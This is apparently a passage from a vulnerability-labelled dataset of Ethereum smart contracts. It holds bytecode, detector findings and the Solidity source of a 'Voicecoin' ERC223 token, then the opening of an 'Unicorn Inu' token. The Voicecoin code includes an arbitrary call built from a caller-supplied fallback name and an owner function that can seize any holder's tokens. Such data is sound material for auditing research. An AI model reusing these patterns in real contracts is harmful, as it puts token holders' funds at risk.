e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,215 |
0xeb9114b0389b72d7f0458467661b1d932666a211
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract Voicecoin is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Voicecoin";
string public symbol = "VC";
uint8 public decimals = 4;
uint256 public totalSupply = 100e9 * 1e6;
uint256 public distributeAmount = 0;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
function Voicecoin() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e6);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e6);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e6);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
|
0x6080604052600436106101245763ffffffff60e060020a60003504166306fdde03811461012e578063095ea7b3146101b857806318160ddd146101f057806323b872dd14610217578063313ce567146102415780634f25eced1461026c57806364ddc6051461028157806370a082311461030f5780638da5cb5b14610330578063945946251461036157806395d89b41146103b85780639dc29fac146103cd578063a8f11eb914610124578063a9059cbb146103f1578063b414d4b614610415578063be45fd6214610436578063c341b9f61461049f578063cbbe974b146104f8578063d39b1d4814610519578063dd62ed3e14610531578063dd92459414610558578063f0dc4171146105e6578063f2fde38b14610674578063f6368f8a14610695575b61012c61073c565b005b34801561013a57600080fd5b506101436108a0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017d578181015183820152602001610165565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c457600080fd5b506101dc600160a060020a0360043516602435610933565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610999565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc600160a060020a036004358116906024351660443561099f565b34801561024d57600080fd5b50610256610ba3565b6040805160ff9092168252519081900360200190f35b34801561027857600080fd5b50610205610bac565b34801561028d57600080fd5b506040805160206004803580820135838102808601850190965280855261012c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610bb29650505050505050565b34801561031b57600080fd5b50610205600160a060020a0360043516610d16565b34801561033c57600080fd5b50610345610d31565b60408051600160a060020a039092168252519081900360200190f35b34801561036d57600080fd5b50604080516020600480358082013583810280860185019096528085526101dc953695939460249493850192918291850190849080828437509497505093359450610d409350505050565b3480156103c457600080fd5b50610143610fb0565b3480156103d957600080fd5b5061012c600160a060020a0360043516602435611011565b3480156103fd57600080fd5b506101dc600160a060020a03600435166024356110f6565b34801561042157600080fd5b506101dc600160a060020a03600435166111b9565b34801561044257600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101dc948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506111ce9650505050505050565b3480156104ab57600080fd5b506040805160206004803580820135838102808601850190965280855261012c95369593946024949385019291829185019084908082843750949750505050913515159250611287915050565b34801561050457600080fd5b50610205600160a060020a0360043516611391565b34801561052557600080fd5b5061012c6004356113a3565b34801561053d57600080fd5b50610205600160a060020a03600435811690602435166113bf565b34801561056457600080fd5b50604080516020600480358082013583810280860185019096528085526101dc95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506113ea9650505050505050565b3480156105f257600080fd5b50604080516020600480358082013583810280860185019096528085526101dc95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061169c9650505050505050565b34801561068057600080fd5b5061012c600160a060020a036004351661197b565b3480156106a157600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101dc948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611a109650505050505050565b600060065411801561076a5750600654600154600160a060020a031660009081526007602052604090205410155b801561078657503360009081526009602052604090205460ff16155b80156107a05750336000908152600a602052604090205442115b15156107ab57600080fd5b60003411156107ef57600154604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156107ed573d6000803e3d6000fd5b505b600654600154600160a060020a031660009081526007602052604090205461081c9163ffffffff611d2e16565b600154600160a060020a031660009081526007602052604080822092909255600654338252919020546108549163ffffffff611d4016565b3360008181526007602090815260409182902093909355600154600654825190815291519293600160a060020a03909116926000805160206121228339815191529281900390910190a3565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109295780601f106108fe57610100808354040283529160200191610929565b820191906000526020600020905b81548152906001019060200180831161090c57829003601f168201915b5050505050905090565b336000818152600860209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6000600160a060020a038316158015906109b95750600082115b80156109dd5750600160a060020a0384166000908152600760205260409020548211155b8015610a0c5750600160a060020a03841660009081526008602090815260408083203384529091529020548211155b8015610a315750600160a060020a03841660009081526009602052604090205460ff16155b8015610a565750600160a060020a03831660009081526009602052604090205460ff16155b8015610a795750600160a060020a0384166000908152600a602052604090205442115b8015610a9c5750600160a060020a0383166000908152600a602052604090205442115b1515610aa757600080fd5b600160a060020a038416600090815260076020526040902054610ad0908363ffffffff611d2e16565b600160a060020a038086166000908152600760205260408082209390935590851681522054610b05908363ffffffff611d4016565b600160a060020a038085166000908152600760209081526040808320949094559187168152600882528281203382529091522054610b49908363ffffffff611d2e16565b600160a060020a0380861660008181526008602090815260408083203384528252918290209490945580518681529051928716939192600080516020612122833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b60065481565b600154600090600160a060020a03163314610bcc57600080fd5b60008351118015610bde575081518351145b1515610be957600080fd5b5060005b8251811015610d11578181815181101515610c0457fe5b90602001906020020151600a60008584815181101515610c2057fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610c4d57600080fd5b8181815181101515610c5b57fe5b90602001906020020151600a60008584815181101515610c7757fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610ca857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610cea57fe5b906020019060200201516040518082815260200191505060405180910390a2600101610bed565b505050565b600160a060020a031660009081526007602052604090205490565b600154600160a060020a031681565b60008060008084118015610d55575060008551115b8015610d7157503360009081526009602052604090205460ff16155b8015610d8b5750336000908152600a602052604090205442115b1515610d9657600080fd5b610da984620f424063ffffffff611d4f16565b9350610dbf855185611d4f90919063ffffffff16565b33600090815260076020526040902054909250821115610dde57600080fd5b5060005b8451811015610f75578481815181101515610df957fe5b90602001906020020151600160a060020a0316600014158015610e515750600960008683815181101515610e2957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015610e985750600a60008683815181101515610e6a57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610ea357600080fd5b610ee884600760008885815181101515610eb957fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611d4016565b600760008784815181101515610efa57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558451859082908110610f2b57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612122833981519152866040518082815260200191505060405180910390a3600101610de2565b33600090815260076020526040902054610f95908363ffffffff611d2e16565b33600090815260076020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109295780601f106108fe57610100808354040283529160200191610929565b600154600160a060020a0316331461102857600080fd5b6000811180156110505750600160a060020a0382166000908152600760205260409020548111155b151561105b57600080fd5b600160a060020a038216600090815260076020526040902054611084908263ffffffff611d2e16565b600160a060020a0383166000908152600760205260409020556005546110b0908263ffffffff611d2e16565b600555604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b6000606060008311801561111a57503360009081526009602052604090205460ff16155b801561113f5750600160a060020a03841660009081526009602052604090205460ff16155b80156111595750336000908152600a602052604090205442115b801561117c5750600160a060020a0384166000908152600a602052604090205442115b151561118757600080fd5b61119084611d7a565b156111a7576111a0848483611d82565b91506111b2565b6111a0848483611fc6565b5092915050565b60096020526000908152604090205460ff1681565b600080831180156111ef57503360009081526009602052604090205460ff16155b80156112145750600160a060020a03841660009081526009602052604090205460ff16155b801561122e5750336000908152600a602052604090205442115b80156112515750600160a060020a0384166000908152600a602052604090205442115b151561125c57600080fd5b61126584611d7a565b1561127c57611275848484611d82565b9050610b9c565b611275848484611fc6565b600154600090600160a060020a031633146112a157600080fd5b82516000106112af57600080fd5b5060005b8251811015610d115782818151811015156112ca57fe5b60209081029091010151600160a060020a031615156112e857600080fd5b816009600085848151811015156112fb57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055825183908290811061133b57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a26001016112b3565b600a6020526000908152604090205481565b600154600160a060020a031633146113ba57600080fd5b600655565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b6000806000808551118015611400575083518551145b801561141c57503360009081526009602052604090205460ff16155b80156114365750336000908152600a602052604090205442115b151561144157600080fd5b5060009050805b84518110156115a2576000848281518110151561146157fe5b906020019060200201511180156114995750848181518110151561148157fe5b90602001906020020151600160a060020a0316600014155b80156114da57506009600086838151811015156114b257fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156115215750600a600086838151811015156114f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561152c57600080fd5b611557620f4240858381518110151561154157fe5b602090810290910101519063ffffffff611d4f16565b848281518110151561156557fe5b6020908102909101015283516115989085908390811061158157fe5b60209081029091010151839063ffffffff611d4016565b9150600101611448565b336000908152600760205260409020548211156115be57600080fd5b5060005b8451811015610f75576115f884828151811015156115dc57fe5b90602001906020020151600760008885815181101515610eb957fe5b60076000878481518110151561160a57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061163b57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612122833981519152868481518110151561167557fe5b906020019060200201516040518082815260200191505060405180910390a36001016115c2565b60015460009081908190600160a060020a031633146116ba57600080fd5b600085511180156116cc575083518551145b15156116d757600080fd5b5060009050805b845181101561195b57600084828151811015156116f757fe5b9060200190602002015111801561172f5750848181518110151561171757fe5b90602001906020020151600160a060020a0316600014155b8015611770575060096000868381518110151561174857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117b75750600a6000868381518110151561178957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156117c257600080fd5b6117d7620f4240858381518110151561154157fe5b84828151811015156117e557fe5b6020908102909101015283518490829081106117fd57fe5b9060200190602002015160076000878481518110151561181957fe5b6020908102909101810151600160a060020a0316825281019190915260400160002054101561184757600080fd5b6118a3848281518110151561185857fe5b9060200190602002015160076000888581518110151561187457fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611d2e16565b6007600087848151811015156118b557fe5b6020908102909101810151600160a060020a031682528101919091526040016000205583516118ea9085908390811061158157fe5b915033600160a060020a0316858281518110151561190457fe5b90602001906020020151600160a060020a0316600080516020612122833981519152868481518110151561193457fe5b906020019060200201516040518082815260200191505060405180910390a36001016116de565b33600090815260076020526040902054610f95908363ffffffff611d4016565b600154600160a060020a0316331461199257600080fd5b600160a060020a03811615156119a757600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611a3157503360009081526009602052604090205460ff16155b8015611a565750600160a060020a03851660009081526009602052604090205460ff16155b8015611a705750336000908152600a602052604090205442115b8015611a935750600160a060020a0385166000908152600a602052604090205442115b1515611a9e57600080fd5b611aa785611d7a565b15611d185733600090815260076020526040902054841115611ac857600080fd5b33600090815260076020526040902054611ae8908563ffffffff611d2e16565b3360009081526007602052604080822092909255600160a060020a03871681522054611b1a908563ffffffff611d4016565b600160a060020a038616600081815260076020908152604080832094909455925185519293919286928291908401908083835b60208310611b6c5780518252601f199092019160209182019101611b4d565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611bfe578181015183820152602001611be6565b50505050905090810190601f168015611c2b5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611c4b57fe5b826040518082805190602001908083835b60208310611c7b5780518252601f199092019160209182019101611c5c565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206121228339815191529181900360200190a3506001611d26565b611d23858585611fc6565b90505b949350505050565b600082821115611d3a57fe5b50900390565b600082820183811015610b9c57fe5b600080831515611d6257600091506111b2565b50828202828482811515611d7257fe5b0414610b9c57fe5b6000903b1190565b336000908152600760205260408120548190841115611da057600080fd5b33600090815260076020526040902054611dc0908563ffffffff611d2e16565b3360009081526007602052604080822092909255600160a060020a03871681522054611df2908563ffffffff611d4016565b600160a060020a03861660008181526007602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015611e90578181015183820152602001611e78565b50505050905090810190601f168015611ebd5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611ede57600080fd5b505af1158015611ef2573d6000803e3d6000fd5b50505050826040518082805190602001908083835b60208310611f265780518252601f199092019160209182019101611f07565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206121228339815191529181900360200190a3506001949350505050565b33600090815260076020526040812054831115611fe257600080fd5b33600090815260076020526040902054612002908463ffffffff611d2e16565b3360009081526007602052604080822092909255600160a060020a03861681522054612034908463ffffffff611d4016565b600160a060020a0385166000908152600760209081526040918290209290925551835184928291908401908083835b602083106120825780518252601f199092019160209182019101612063565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206121228339815191529181900360200190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820dcabfdc56efe412938a7b0f1980c1001c998a811f85f89282f4fe4a14d930a710029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,216 |
0xd49e643b0d6013115125bca72d3e74f95ab7ce76
|
// SPDX-License-Identifier: Unlicensed
//Unicorn Socials
//Twitter: https://twitter.com/inuunicorn
//Website: https://unicorninu.io/
//Telegram: https://t.me/unicorninu
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
